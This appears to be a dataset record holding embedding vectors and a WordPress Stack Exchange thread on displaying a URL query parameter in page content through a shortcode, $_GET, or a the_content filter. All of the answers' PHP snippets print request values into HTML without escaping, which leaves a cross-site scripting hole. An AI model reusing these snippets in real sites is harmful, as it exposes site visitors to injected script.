-0.034210205078125,
0.00711822509765625,
0.03924560546875,
0.038421630859375,
0.03369140625,
-0.00440216064453125,
-0.00264739990234375,
-0.0107269287109375,
0.02825927734375,
0.0092315673828125,
0.059844970703125,
-0.040802001953125,
0.01540374755859375,
-0.01904296875,
-0.0230865478515625,
0.01241302490234375,
-0.04193115234375,
-0.049041748046875,
-0.00909423828125,
-0.008819580078125,
0.0001024007797241211,
0.003147125244140625,
-0.03546142578125,
0.0343017578125,
0.03070068359375,
-0.004192352294921875,
0.041595458984375,
0.031646728515625,
-0.0176544189453125,
-0.01641845703125,
-0.02947998046875,
-0.0033416748046875,
0.024627685546875,
-0.0217437744140625,
0.0110321044921875,
-0.01708984375,
-0.00998687744140625,
-0.00283050537109375,
-0.019805908203125,
-0.0019779205322265625,
0.00638580322265625,
0.0168609619140625,
-0.0012273788452148438,
0.026092529296875,
-0.0086822509765625,
-0.029937744140625,
0.0340576171875,
-0.0026569366455078125,
-0.023529052734375,
0.0264129638671875,
-0.00983428955078125,
0.00806427001953125,
-0.01617431640625,
0.044464111328125,
0.03424072265625,
-0.0142974853515625,
0.0009927749633789062,
0.01166534423828125,
-0.00917816162109375,
0.0050201416015625,
-0.0108489990234375,
-0.02349853515625,
0.0244903564453125,
-0.08172607421875,
0.013916015625,
0.00310516357421875,
0.00848388671875,
-0.0176849365234375,
-0.038818359375,
-0.03802490234375,
-0.0134429931640625,
-0.125244140625,
-0.0819091796875,
-0.016632080078125,
-0.08514404296875,
0.00988006591796875,
0.006725311279296875,
-0.0360107421875,
-0.003246307373046875,
0.03350830078125,
0.017486572265625,
0.033843994140625,
0.004856109619140625,
-0.0743408203125,
-0.01183319091796875,
-0.0777587890625,
0.007122039794921875,
-0.023345947265625,
-0.0010433197021484375,
-0.00673675537109375,
0.023162841796875,
-0.017974853515625,
-0.03741455078125,
-0.023651123046875,
0.04217529296875,
-0.0024166107177734375,
-0.05633544921875,
-0.03131103515625,
0.0140228271484375,
-0.0027942657470703125,
0.01178741455078125,
0.0300445556640625,
0.00782012939453125,
-0.0013837814331054688,
-0.003070831298828125,
-0.005748748779296875,
-0.0169219970703125,
0.045013427734375,
0.0181884765625,
-0.0178680419921875,
0.01291656494140625,
0.05084228515625,
-0.035400390625,
-0.07080078125,
-0.01134490966796875,
-0.072265625,
0.06121826171875,
0.044769287109375,
0.01110076904296875,
0.01020050048828125,
0.02972412109375,
0.02581787109375,
0.0179595947265625,
0.00951385498046875,
-0.006885528564453125,
0.04058837890625,
-0.0008625984191894531,
0.03656005859375,
-0.02789306640625,
0.0208282470703125,
-0.03277587890625,
0.034637451171875,
0.005893707275390625,
0.0016279220581054688,
0.0033092498779296875,
-0.0232086181640625,
-0.01544189453125,
-0.05120849609375,
0.057586669921875,
-0.05517578125,
-0.050445556640625,
-0.02081298828125,
-0.016845703125,
0.0275115966796875,
0.07574462890625,
0.05743408203125,
-0.0151214599609375,
0.0024871826171875,
-0.003337860107421875,
-0.03436279296875,
-0.022552490234375,
-0.02630615234375,
0.007793426513671875,
-0.024871826171875,
-0.01311492919921875,
-0.015411376953125,
-0.0016651153564453125,
-0.034881591796875,
0.07025146484375,
-0.02996826171875,
0.00762176513671875,
0.0228118896484375,
0.03973388671875,
-0.0335693359375,
0.0487060546875,
-0.03692626953125,
0.039459228515625,
-0.0267791748046875,
0.02459716796875,
-0.0234375,
-0.0195465087890625,
0.026275634765625,
0.025054931640625,
0.0226287841796875,
-0.04974365234375,
-0.004779815673828125,
0.020263671875,
0.0306854248046875,
0.02410888671875,
0.0243682861328125,
-0.006015777587890625,
0.0271759033203125,
-0.01222991943359375,
0.033599853515625,
-0.0233154296875,
0.023223876953125,
-0.0277862548828125,
-0.058563232421875,
-0.00878143310546875,
-0.03179931640625,
0.051177978515625,
-0.0169830322265625,
-0.0258026123046875,
-0.06158447265625,
0.024658203125,
-0.00511932373046875,
0.00908660888671875,
0.0122833251953125,
-0.0279998779296875,
0.004169464111328125,
-0.0826416015625,
0.0241546630859375,
0.025177001953125,
-0.0201416015625,
-0.01432037353515625,
0.034698486328125,
0.02459716796875,
-0.034393310546875,
0.0169677734375,
-0.002796173095703125,
0.01258087158203125,
-0.032135009765625,
0.055511474609375,
0.0183563232421875,
-0.00818634033203125,
0.035430908203125,
-0.022796630859375,
0.0012979507446289062,
-0.007205963134765625,
0.033966064453125,
0.0014543533325195312,
0.015777587890625,
-0.01235198974609375,
-0.020050048828125,
0.0258331298828125,
0.03900146484375,
-0.03564453125,
0.0029354095458984375,
-0.049957275390625,
0.039306640625,
-0.005092620849609375,
0.03125,
-0.051025390625,
0.01389312744140625,
-0.0086517333984375,
0.01509857177734375,
0.05078125,
0.02984619140625,
-0.0030612945556640625,
-0.0033702850341796875,
0.0155487060546875,
0.0108184814453125,
0.037109375,
0.03192138671875,
-0.0006890296936035156,
0.040008544921875,
0.01151275634765625,
0.0034198760986328125,
-0.005130767822265625,
0.0015935897827148438,
0.038116455078125,
0.005184173583984375,
-0.00859832763671875,
-0.011444091796875,
-0.022003173828125,
-0.00305938720703125,
0.005283355712890625,
0.005161285400390625,
0.05877685546875,
0.005817413330078125,
-0.044830322265625,
-0.01293182373046875,
0.003551483154296875,
-0.036590576171875,
-0.058563232421875,
0.0250244140625,
-0.010955810546875,
0.01508331298828125,
-0.002239227294921875,
0.072509765625,
-0.00180816650390625,
0.043914794921875,
-0.0181121826171875,
-0.0081329345703125,
0.005344390869140625,
0.02490234375,
0.015289306640625,
-0.0009655952453613281,
-0.01000213623046875,
-0.0001882314682006836,
0.031494140625,
-0.024932861328125,
-0.0214385986328125,
0.03717041015625,
0.05322265625,
0.0013885498046875,
0.01885986328125,
-0.016998291015625,
0.004886627197265625,
-0.047698974609375,
0.07037353515625,
0.060272216796875,
-0.05255126953125,
-0.033416748046875,
0.02093505859375,
0.01702880859375,
0.017669677734375,
-0.01299285888671875,
0.05255126953125,
0.021942138671875,
0.040130615234375,
0.00968170166015625,
-0.01312255859375,
0.019256591796875,
0.0248870849609375,
0.002704620361328125,
-0.0340576171875,
-0.0007557868957519531,
-0.00621795654296875,
0.0297393798828125,
-0.034576416015625,
-0.0279998779296875,
0.038909912109375,
0.019927978515625,
0.075439453125,
-0.043914794921875,
-0.054962158203125,
0.002521514892578125,
-0.0217437744140625,
0.07916259765625,
0.0335693359375,
-0.06341552734375,
0.0131988525390625,
-0.0384521484375,
0.01678466796875,
-0.03607177734375,
-0.04656982421875,
-0.03436279296875,
-0.0024623870849609375,
0.00415802001953125,
0.0157012939453125,
0.0259857177734375,
0.036590576171875,
0.01263427734375,
0.0201873779296875,
-0.0172271728515625,
0.0257568359375,
0.002323150634765625,
0.068359375,
0.025238037109375,
0.031951904296875,
0.039581298828125,
0.04595947265625,
-0.0262908935546875,
-0.037841796875,
0.0020847320556640625,
-0.0582275390625,
-0.02142333984375,
-0.0106658935546875,
-0.0089111328125,
0.00649261474609375,
-0.00823211669921875,
0.005992889404296875,
-0.0004658699035644531,
0.0011548995971679688,
-0.006107330322265625,
-0.0258941650390625,
0.00826263427734375,
0.01189422607421875,
-0.00897216796875,
0.017608642578125,
0.01168060302734375,
0.04107666015625,
0.01064300537109375,
-0.0250244140625,
0.0032024383544921875,
0.0094757080078125,
0.023284912109375,
-0.0034008026123046875,
-0.020355224609375,
0.0187530517578125,
0.0704345703125,
0.0217132568359375,
0.04547119140625,
0.01294708251953125,
0.0219573974609375,
0.0308380126953125,
0.039794921875,
0.01001739501953125,
-0.014739990234375,
0.09991455078125,
0.02490234375,
-0.01873779296875,
0.06280517578125,
-0.03594970703125,
0.00539398193359375,
0.036956787109375,
0.08343505859375,
-0.052337646484375,
-0.0106964111328125,
0.05670166015625,
-0.008544921875,
-0.03167724609375,
0.020263671875,
-0.016845703125,
-0.0234375,
0.0316162109375,
-0.045562744140625,
-0.006519317626953125,
0.00632476806640625,
-0.0244903564453125,
-0.02935791015625,
-0.0309600830078125,
0.02203369140625,
0.020904541015625,
-0.007732391357421875,
0.00963592529296875,
-0.006824493408203125,
0.0017108917236328125,
-0.004642486572265625,
-0.003307342529296875,
-0.025482177734375,
-0.0256195068359375,
-0.030426025390625,
-0.0187225341796875,
-0.019317626953125,
0.01023101806640625,
0.0435791015625,
0.0113677978515625,
0.025299072265625,
0.017822265625,
0.00171661376953125,
0.004123687744140625,
-0.016082763671875,
-0.0185089111328125,
-0.0051727294921875,
-0.02923583984375,
0.0279083251953125,
-0.003849029541015625,
-0.036376953125,
0.00919342041015625,
-0.034332275390625,
-0.03826904296875,
-0.0102996826171875,
-0.041595458984375,
0.1068115234375,
-0.06195068359375,
-0.00130462646484375,
0.017364501953125,
-0.00791168212890625,
-0.0165557861328125,
-0.0231170654296875,
0.0171356201171875,
-0.0189208984375,
0.02264404296875,
-0.0179901123046875,
-0.0012807846069335938,
0.0176239013671875,
-0.037567138671875,
-0.0548095703125,
0.0821533203125,
0.00962066650390625,
0.04486083984375,
0.032958984375,
0.01349639892578125,
-0.01419830322265625,
0.0032444000244140625,
-0.051513671875,
0.0634765625,
0.029144287109375,
0.0333251953125,
-0.046600341796875,
-0.0181884765625,
-0.0048675537109375,
0.0140380859375,
0.07598876953125,
0.01508331298828125,
-0.01163482666015625,
-0.01076507568359375,
0.06298828125,
0.05023193359375,
0.0030612945556640625,
-0.0018758773803710938,
0.0197601318359375,
0.09454345703125,
0.0987548828125,
-0.049713134765625,
0.023895263671875,
0.0155181884765625,
0.00543975830078125,
0.040283203125,
0.01812744140625,
0.01012420654296875,
0.0204010009765625,
-0.02386474609375,
-0.036376953125,
-0.002696990966796875,
0.03131103515625,
-0.0204620361328125,
-0.01187896728515625,
0.020751953125,
0.027313232421875,
-0.06103515625,
-0.03594970703125,
-0.026031494140625,
0.03076171875,
0.00901031494140625,
0.03363037109375,
0.03253173828125,
0.0170440673828125,
0.059967041015625,
-0.00695037841796875,
0.0198822021484375,
0.005184173583984375,
0.009063720703125,
0.0772705078125,
0.033294677734375,
0.0288848876953125,
-0.0445556640625,
-0.0198516845703125,
0.05401611328125,
0.096923828125,
-0.0377197265625,
-0.0193939208984375,
0.01904296875,
-0.00548553466796875,
0.004425048828125,
-0.00868988037109375,
0.0026073455810546875,
-0.0150909423828125,
0.00274658203125,
-0.0024204254150390625,
-0.0113525390625,
0.0007753372192382812,
0.025115966796875,
-0.0032634735107421875,
-0.03802490234375,
0.003986358642578125,
0.0081939697265625,
-0.045684814453125,
0.0207061767578125,
0.022125244140625,
0.0257720947265625,
-0.01055908203125,
0.04827880859375,
0.0180816650390625,
-0.001338958740234375,
0.00792694091796875,
0.0290985107421875,
-0.04412841796875,
0.01377105712890625,
-0.048736572265625,
-0.072998046875,
0.007781982421875,
0.04315185546875,
0.038970947265625,
-0.022064208984375,
-0.011688232421875,
-0.0062103271484375,
0.0192413330078125,
0.00946044921875,
0.0208282470703125,
-0.002689361572265625,
0.016876220703125,
-0.0282745361328125,
0.0033740997314453125,
-0.00925445556640625,
-0.0158538818359375,
-0.009246826171875,
-0.01529693603515625,
0.024078369140625,
-0.01300811767578125,
0.0258941650390625,
0.00685882568359375,
-0.004322052001953125,
0.041595458984375,
-0.006927490234375,
0.037384033203125,
0.008575439453125,
-0.0275115966796875,
-0.0157623291015625,
0.0084991455078125,
-0.01959228515625,
0.004730224609375,
0.039276123046875,
0.0140380859375,
-0.01080322265625,
0.00994873046875,
0.01253509521484375,
0.0186004638671875,
-0.00995635986328125,
0.00298309326171875,
0.01532745361328125,
0.0302276611328125,
0.0261993408203125,
-0.037933349609375,
-0.029998779296875,
-0.01151275634765625,
0.0189971923828125,
0.00795745849609375,
0.07550048828125,
-0.0203857421875,
0.0092620849609375,
-0.0003380775451660156,
0.041290283203125,
-0.049468994140625,
-0.030914306640625,
0.0596923828125,
-0.0200653076171875,
-0.01177978515625,
-0.00746917724609375,
-0.036407470703125,
0.02764892578125,
0.0380859375,
-0.0287933349609375,
-0.0008072853088378906,
0.0212249755859375,
0.003955841064453125,
-0.014404296875,
0.00791168212890625,
-0.030029296875,
-0.025726318359375,
-0.01131439208984375,
-0.0010852813720703125,
0.0096588134765625,
-0.004390716552734375,
-0.016754150390625,
0.01605224609375,
-0.003238677978515625,
-0.042572021484375,
0.006191253662109375,
-0.032196044921875,
0.0162811279296875,
0.0273895263671875,
-0.005847930908203125,
-0.02447509765625,
-0.0106658935546875,
-0.022674560546875,
0.0013055801391601562,
0.00440216064453125,
-0.000530242919921875,
0.0107574462890625,
-0.0258331298828125,
0.0031833648681640625,
-0.053253173828125,
-0.009307861328125,
-0.0418701171875,
-0.0279388427734375,
0.009185791015625,
0.011749267578125,
-0.0260467529296875,
-0.038543701171875,
-0.007404327392578125,
-0.041290283203125,
-0.0181732177734375,
0.00853729248046875,
-0.0182647705078125,
-0.020233154296875,
0.016815185546875,
0.0120697021484375,
0.004688262939453125,
0.00421905517578125,
-0.04449462890625,
0.02923583984375,
-0.01479339599609375,
0.018798828125,
-0.0300140380859375,
-0.0316162109375,
-0.004497528076171875,
0.020751953125,
-0.0178680419921875,
-0.0004627704620361328,
-0.0491943359375,
-0.0194854736328125,
-0.0307159423828125,
0.040496826171875,
0.050262451171875,
-0.046722412109375,
-0.040435791015625,
0.063232421875,
0.0297698974609375,
0.1124267578125,
0.0010251998901367188,
-0.0187530517578125,
0.0011205673217773438,
0.0196380615234375,
0.004726409912109375,
-0.043609619140625,
0.0063018798828125,
-0.01555633544921875,
0.0128936767578125,
0.023895263671875,
-0.0160064697265625,
0.011505126953125,
-0.0294036865234375,
-0.023773193359375,
0.048187255859375,
0.0147552490234375,
-0.0251922607421875,
-0.03521728515625,
-0.014495849609375,
-0.005329132080078125,
0.04229736328125,
0.0106658935546875,
-0.027618408203125,
-0.05401611328125,
0.0177001953125,
0.0280914306640625,
0.0276947021484375,
0.02105712890625,
0.0203857421875,
0.02130126953125,
0.056243896484375,
0.052215576171875,
0.0194091796875,
0.0145263671875,
-0.02337646484375,
0.041259765625,
0.045440673828125,
-0.043304443359375,
-0.0011014938354492188,
-0.020416259765625,
0.01837158203125,
-0.0217742919921875,
-0.05230712890625,
0.025970458984375,
0.002223968505859375,
0.055023193359375,
-0.0031375885009765625,
0.005359649658203125,
-0.039642333984375,
-0.0240936279296875,
-0.00872802734375,
-0.0231781005859375,
-0.0138702392578125,
0.04107666015625,
-0.09539794921875,
-0.0075531005859375,
0.022186279296875,
-0.0062103271484375,
0.00855255126953125,
-0.027587890625,
-0.028411865234375,
0.0038089752197265625,
-0.017578125,
0.005001068115234375,
-0.0401611328125,
-0.01462554931640625,
0.056610107421875,
-0.04052734375,
-0.00618743896484375,
0.01213836669921875,
0.01337432861328125,
0.00617218017578125,
-0.0017786026000976562,
0.0226287841796875,
0.05877685546875,
-0.04364013671875,
-0.0247039794921875,
0.0408935546875,
0.01436614990234375,
0.022247314453125,
-0.024932861328125,
0.0105133056640625,
0.02618408203125,
-0.011322021484375,
0.01319122314453125,
-0.011138916015625,
0.05328369140625,
0.0030269622802734375,
0.0628662109375,
0.006549835205078125,
0.1251220703125,
0.0284423828125,
0.04339599609375,
-0.046142578125,
0.0037078857421875,
-0.025726318359375,
-0.044952392578125,
-0.005718231201171875,
0.015380859375,
-0.00960540771484375,
-0.02850341796875,
0.01568603515625,
-0.04974365234375,
0.0018100738525390625,
0.0215911865234375
] |
07e38f13241fee2c9a569763fbb3cb4123fd1cb7
|
Wordpress Stackexchange
Q: use query string in URL to display content on the page I'd like to say something on my page based on what page the person got there from. I can set up the link to that page to be:
www.example.com/page?parameter=myparameter
Is there a way I can access that parameter so that I can have it show on the page, somewhere in my content?
A: Per the OP's answer within their question:
With your help and some Googling, I put together a shortcode that returns the value of any url parameter. Here it is:
//THIS IS A CUSTOM SHORTCODE TO DISPLAY A PARAMETER FROM THE URL
function URLParam( $atts ) {
extract( shortcode_atts( array(
'param' => 'param',
), $atts ) );
return $_GET[$param];
}
add_shortcode('URLParam', 'URLParam');
I use the shortcode like this to get the trip_type from my URL:
[URLParam param='trip_type']
|
Q: use query string in URL to display content on the page I'd like to say something on my page based on what page the person got there from. I can set up the link to that page to be:
www.example.com/page?parameter=myparameter
Is there a way I can access that parameter so that I can have it show on the page, somewhere in my content?
A: Per the OP's answer within their question:
With your help and some Googling, I put together a shortcode that returns the value of any url parameter. Here it is:
//THIS IS A CUSTOM SHORTCODE TO DISPLAY A PARAMETER FROM THE URL
function URLParam( $atts ) {
extract( shortcode_atts( array(
'param' => 'param',
), $atts ) );
return $_GET[$param];
}
add_shortcode('URLParam', 'URLParam');
I use the shortcode like this to get the trip_type from my URL:
[URLParam param='trip_type']
A: You could use a PHP session, look in the query object for the request, or use $_GET with your url, but it's not for sensitive information...
Something like this;
Grab the trip name from the URL
$tripname = $_GET['tripname'];
Use it in your heading;
if(isset($tripname)) echo '<h1>Plan Your Trip To ' .$tripname. '</h1>';
A: Here's another great way to accomplish this. This won't require shortcodes and will automatically update each page you create where there parameter "trip" is present!
1) Navigate to your theme folder and open functions.php (or create it if it's missing)
2) Add the following code and save:
<?php
add_filter( 'the_content', 'my_trip_filter' );
function my_trip_filter( $content ) {
if ( isset($_REQUEST['trip']) && is_single() ) {
$content = "<h1>Fill out this form to register for the " . $_REQUEST['trip'] . " trip</h1>" . $content;
}
return $content;
}
?>
This code uses the_content filter to override each time you use the function the_content() function to print your blog information. It detects whether or not the page requested is a single page/post and not the archive. Additional logic or overrides can be added to it. Just make sure you return $content and whatever message you desire will be returned to the screen.
Enjoy!
|
wordpress
|
{
"language": "en",
"length": 346,
"provenance": "stackexchange_00019.jsonl.gz:436200",
"question_score": "10",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/111376"
}
|
[
0.06451416015625,
-0.0041351318359375,
0.00849151611328125,
-0.0267333984375,
0.0137176513671875,
-0.0225372314453125,
0.02789306640625,
-0.0274200439453125,
-0.006999969482421875,
0.01412200927734375,
-0.004192352294921875,
-0.031280517578125,
-0.04205322265625,
-0.03704833984375,
-0.009063720703125,
-0.0565185546875,
0.0174713134765625,
-0.004055023193359375,
-0.0008039474487304688,
-0.01776123046875,
-0.0069732666015625,
-0.006221771240234375,
-0.009307861328125,
0.0125885009765625,
0.03289794921875,
0.01519012451171875,
0.040283203125,
-0.000012099742889404297,
-0.0006213188171386719,
-0.005931854248046875,
0.0215606689453125,
-0.0269317626953125,
0.055206298828125,
-0.00571441650390625,
-0.0277557373046875,
0.0302581787109375,
0.0136260986328125,
-0.01523590087890625,
-0.0225830078125,
0.050079345703125,
0.033416748046875,
-0.037109375,
-0.004367828369140625,
-0.0027599334716796875,
-0.0032825469970703125,
-0.0288238525390625,
0.028289794921875,
-0.04705810546875,
-0.02349853515625,
0.0291748046875,
0.042022705078125,
0.018341064453125,
0.03741455078125,
0.02801513671875,
0.01396942138671875,
0.0293731689453125,
0.00751495361328125,
-0.037139892578125,
0.01335906982421875,
-0.039276123046875,
-0.01284027099609375,
-0.0222320556640625,
0.03662109375,
0.035552978515625,
-0.01025390625,
0.01454925537109375,
0.054962158203125,
0.0065460205078125,
-0.032073974609375,
-0.00424957275390625,
0.020416259765625,
-0.0177459716796875,
-0.031585693359375,
0.007537841796875,
-0.04132080078125,
-0.01239776611328125,
0.0252838134765625,
-0.016082763671875,
-0.01837158203125,
0.0271148681640625,
0.0232086181640625,
0.00177764892578125,
-0.041107177734375,
-0.0015478134155273438,
0.00913238525390625,
0.00617218017578125,
-0.0011472702026367188,
-0.02288818359375,
-0.03729248046875,
0.01104736328125,
-0.03143310546875,
0.01473236083984375,
-0.0005850791931152344,
-0.027099609375,
-0.0361328125,
-0.01244354248046875,
-0.01207733154296875,
0.0252227783203125,
0.01273345947265625,
0.0472412109375,
-0.037872314453125,
-0.0307769775390625,
0.048980712890625,
-0.062347412109375,
0.0028076171875,
0.02117919921875,
0.02288818359375,
0.0687255859375,
0.0533447265625,
0.006832122802734375,
0.0056304931640625,
0.041229248046875,
-0.058380126953125,
0.00948333740234375,
-0.034454345703125,
0.0216827392578125,
-0.07342529296875,
-0.0269775390625,
-0.0231475830078125,
-0.0089569091796875,
-0.0038890838623046875,
0.03399658203125,
-0.020050048828125,
-0.0215606689453125,
-0.0211181640625,
-0.036712646484375,
0.0015993118286132812,
-0.0223846435546875,
-0.01666259765625,
0.0196533203125,
-0.0215606689453125,
0.01605224609375,
0.01473236083984375,
0.022003173828125,
0.0015916824340820312,
-0.0193634033203125,
0.01251983642578125,
-0.005374908447265625,
-0.0292205810546875,
0.01085662841796875,
-0.004009246826171875,
-0.00579071044921875,
0.0152740478515625,
-0.043792724609375,
-0.00666046142578125,
0.01561737060546875,
0.0163726806640625,
0.0274200439453125,
-0.0204925537109375,
-0.061859130859375,
0.027130126953125,
-0.0181884765625,
0.040283203125,
-0.00249481201171875,
-0.052520751953125,
0.00506591796875,
-0.00045299530029296875,
-0.0015764236450195312,
-0.038726806640625,
-0.016632080078125,
0.0113372802734375,
-0.0027599334716796875,
0.001468658447265625,
-0.0419921875,
-0.03094482421875,
-0.051116943359375,
-0.03240966796875,
0.0013208389282226562,
-0.0023021697998046875,
0.05255126953125,
-0.0299072265625,
0.01312255859375,
-0.03253173828125,
0.034942626953125,
0.008544921875,
0.01146697998046875,
-0.0163726806640625,
0.045196533203125,
0.03472900390625,
0.00836181640625,
-0.0003457069396972656,
-0.03521728515625,
0.09844970703125,
-0.04095458984375,
-0.07830810546875,
0.09918212890625,
0.00485992431640625,
0.09503173828125,
-0.0110321044921875,
-0.0012149810791015625,
0.049285888671875,
0.057830810546875,
-0.004772186279296875,
0.022705078125,
0.0147552490234375,
-0.034515380859375,
-0.02520751953125,
-0.0102386474609375,
-0.009918212890625,
-0.024078369140625,
-0.00792694091796875,
0.0162506103515625,
0.0186004638671875,
0.027618408203125,
0.0250244140625,
0.02703857421875,
-0.0154876708984375,
0.0174560546875,
0.022308349609375,
0.04058837890625,
-0.0023593902587890625,
0.0247802734375,
-0.0305633544921875,
-0.004726409912109375,
-0.0013904571533203125,
0.0204010009765625,
-0.0047607421875,
0.036865234375,
-0.024322509765625,
0.037841796875,
-0.00780487060546875,
-0.0169525146484375,
-0.0196075439453125,
0.016632080078125,
0.0222320556640625,
-0.0097808837890625,
-0.0111541748046875,
-0.02069091796875,
-0.00421142578125,
0.0078582763671875,
-0.05133056640625,
0.01448822021484375,
-0.025787353515625,
0.0062713623046875,
-0.005893707275390625,
0.0174407958984375,
0.01165008544921875,
-0.0162506103515625,
0.008026123046875,
0.0290679931640625,
0.046356201171875,
0.01806640625,
-0.006374359130859375,
-0.039459228515625,
0.039459228515625,
-0.0266876220703125,
0.0211029052734375,
-0.03887939453125,
-0.02606201171875,
-0.00420379638671875,
0.0125885009765625,
-0.0013818740844726562,
0.01525115966796875,
0.003498077392578125,
0.00664520263671875,
0.00473785400390625,
-0.0016260147094726562,
0.0369873046875,
-0.0162506103515625,
0.0218505859375,
-0.027801513671875,
0.0208587646484375,
0.038421630859375,
-0.01465606689453125,
0.02783203125,
0.013275146484375,
0.037811279296875,
0.0380859375,
-0.0118560791015625,
-0.0014400482177734375,
-0.0019626617431640625,
0.0002899169921875,
-0.01195526123046875,
0.01580810546875,
0.03765869140625,
-0.049041748046875,
0.01197052001953125,
-0.004726409912109375,
-0.027099609375,
-0.00870513916015625,
0.004547119140625,
0.034820556640625,
-0.029754638671875,
-0.01140594482421875,
-0.0055084228515625,
-0.026580810546875,
-0.0167083740234375,
0.0078887939453125,
0.03680419921875,
-0.006610870361328125,
0.0303497314453125,
-0.01111602783203125,
-0.05975341796875,
0.08319091796875,
-0.010162353515625,
-0.059295654296875,
0.0305328369140625,
-0.0176544189453125,
0.03924560546875,
-0.0188446044921875,
0.01407623291015625,
0.057159423828125,
-0.0005207061767578125,
-0.007122039794921875,
-0.003093719482421875,
0.0222625732421875,
-0.00283050537109375,
-0.0016851425170898438,
0.010650634765625,
-0.0015687942504882812,
-0.017120361328125,
0.029937744140625,
0.006256103515625,
-0.03277587890625,
0.0111846923828125,
-0.01331329345703125,
-0.0131072998046875,
-0.0225677490234375,
-0.1092529296875,
-0.0750732421875,
0.051422119140625,
-0.0604248046875,
-0.01084136962890625,
0.004787445068359375,
-0.039459228515625,
-0.01419830322265625,
0.051605224609375,
-0.0204010009765625,
-0.0010395050048828125,
-0.037750244140625,
-0.07537841796875,
-0.04248046875,
-0.07080078125,
0.0462646484375,
-0.010009765625,
0.01439666748046875,
0.00882720947265625,
0.0219268798828125,
0.004024505615234375,
-0.04052734375,
0.00885772705078125,
0.04266357421875,
-0.023956298828125,
-0.0178070068359375,
0.00547027587890625,
-0.030487060546875,
0.0251922607421875,
-0.0295867919921875,
0.09112548828125,
0.059814453125,
-0.036895751953125,
0.0305633544921875,
-0.0095977783203125,
0.0220184326171875,
0.04669189453125,
-0.045166015625,
-0.0174713134765625,
0.03424072265625,
0.036102294921875,
-0.026458740234375,
-0.03790283203125,
-0.0045166015625,
-0.07196044921875,
-0.03594970703125,
0.07208251953125,
-0.0004634857177734375,
-0.0260162353515625,
-0.022918701171875,
0.0092620849609375,
-0.01053619384765625,
0.044464111328125,
-0.0216064453125,
0.00940704345703125,
-0.0223541259765625,
-0.0008006095886230469,
-0.03753662109375,
0.0176239013671875,
-0.00739288330078125,
0.0545654296875,
0.039581298828125,
0.033233642578125,
0.029327392578125,
0.007289886474609375,
0.0016107559204101562,
-0.024078369140625,
0.057220458984375,
0.0211029052734375,
0.0283966064453125,
-0.036041259765625,
-0.0498046875,
-0.026519775390625,
0.0721435546875,
-0.010223388671875,
0.00641632080078125,
0.004001617431640625,
-0.0048828125,
-0.0413818359375,
-0.034149169921875,
-0.07110595703125,
0.0197296142578125,
-0.039276123046875,
0.00905609130859375,
0.01132965087890625,
-0.03656005859375,
-0.027618408203125,
-0.031951904296875,
-0.029022216796875,
-0.0207061767578125,
0.03564453125,
-0.035491943359375,
0.00005072355270385742,
0.021484375,
-0.022247314453125,
-0.00897216796875,
-0.0496826171875,
-0.00017189979553222656,
0.01666259765625,
-0.028594970703125,
0.07440185546875,
0.0021514892578125,
0.020538330078125,
-0.09637451171875,
0.004474639892578125,
0.037506103515625,
0.02740478515625,
0.037322998046875,
0.0113983154296875,
-0.03216552734375,
0.043731689453125,
0.031494140625,
0.031829833984375,
-0.006389617919921875,
0.0055694580078125,
0.0352783203125,
-0.02545166015625,
0.031280517578125,
-0.014739990234375,
-0.004932403564453125,
0.0256805419921875,
-0.0380859375,
-0.049835205078125,
-0.04571533203125,
0.01477813720703125,
0.0145111083984375,
-0.0016918182373046875,
0.003170013427734375,
-0.0226593017578125,
-0.040283203125,
0.0245208740234375,
0.0167083740234375,
0.0093994140625,
-0.002044677734375,
0.0264129638671875,
0.019561767578125,
-0.03729248046875,
0.004734039306640625,
0.00392913818359375,
0.04022216796875,
0.007781982421875,
0.033905029296875,
0.00879669189453125,
-0.036041259765625,
0.07794189453125,
0.0198516845703125,
0.034515380859375,
-0.0089569091796875,
0.033966064453125,
0.00738525390625,
0.01132965087890625,
0.00421905517578125,
0.020294189453125,
-0.042633056640625,
0.026092529296875,
-0.031097412109375,
-0.00423431396484375,
-0.00969696044921875,
0.0290069580078125,
-0.048492431640625,
0.050933837890625,
-0.011688232421875,
-0.0243072509765625,
-0.0015668869018554688,
0.020233154296875,
0.004486083984375,
0.0233306884765625,
-0.0017070770263671875,
-0.007633209228515625,
-0.007030487060546875,
-0.016845703125,
0.083251953125,
0.07720947265625,
0.00937652587890625,
0.04541015625,
0.0157470703125,
-0.041015625,
0.0123291015625,
0.005992889404296875,
0.01421356201171875,
-0.007404327392578125,
-0.0165863037109375,
-0.0281982421875,
-0.004604339599609375,
-0.02362060546875,
-0.01026153564453125,
0.0176849365234375,
-0.003856658935546875,
0.04632568359375,
0.02984619140625,
0.0155792236328125,
0.05352783203125,
0.061767578125,
0.001850128173828125,
0.03973388671875,
0.004283905029296875,
0.00534820556640625,
-0.005401611328125,
0.06732177734375,
-0.0723876953125,
0.061737060546875,
0.0095977783203125,
-0.0175018310546875,
0.017730712890625,
0.00675201416015625,
0.0263671875,
-0.0015764236450195312,
0.01641845703125,
-0.0284423828125,
0.032562255859375,
-0.0198516845703125,
0.004650115966796875,
0.0322265625,
0.031524658203125,
-0.0186920166015625,
-0.028350830078125,
-0.012786865234375,
-0.0286102294921875,
-0.01038360595703125,
-0.022735595703125,
-0.0081329345703125,
0.032745361328125,
-0.04339599609375,
-0.0173492431640625,
0.03570556640625,
0.053924560546875,
-0.01348114013671875,
0.01296234130859375,
-0.014923095703125,
0.044586181640625,
-0.016326904296875,
0.02606201171875,
0.00911712646484375,
-0.0256500244140625,
0.03228759765625,
-0.037811279296875,
-0.034423828125,
0.011016845703125,
0.051239013671875,
-0.034912109375,
-0.006732940673828125,
0.048583984375,
-0.004634857177734375,
-0.0004811286926269531,
-0.0203399658203125,
0.00826263427734375,
0.0187530517578125,
-0.0184326171875,
0.05047607421875,
-0.01129150390625,
-0.051055908203125,
0.007457733154296875,
-0.0496826171875,
0.00505828857421875,
0.02569580078125,
-0.044891357421875,
-0.0153961181640625,
-0.040191650390625,
-0.0284881591796875,
0.0250396728515625,
-0.037933349609375,
0.0026683807373046875,
-0.036102294921875,
0.0184173583984375,
0.016693115234375,
0.047149658203125,
0.0213623046875,
0.0165252685546875,
-0.0201263427734375,
0.03009033203125,
0.0254058837890625,
0.0204315185546875,
-0.00795745849609375,
-0.041290283203125,
0.017791748046875,
-0.0241851806640625,
-0.0484619140625,
-0.01302337646484375,
0.007236480712890625,
0.031402587890625,
0.0171356201171875,
-0.00708770751953125,
0.01922607421875,
-0.021331787109375,
0.0201263427734375,
-0.0233917236328125,
0.0287933349609375,
-0.06341552734375,
-0.031951904296875,
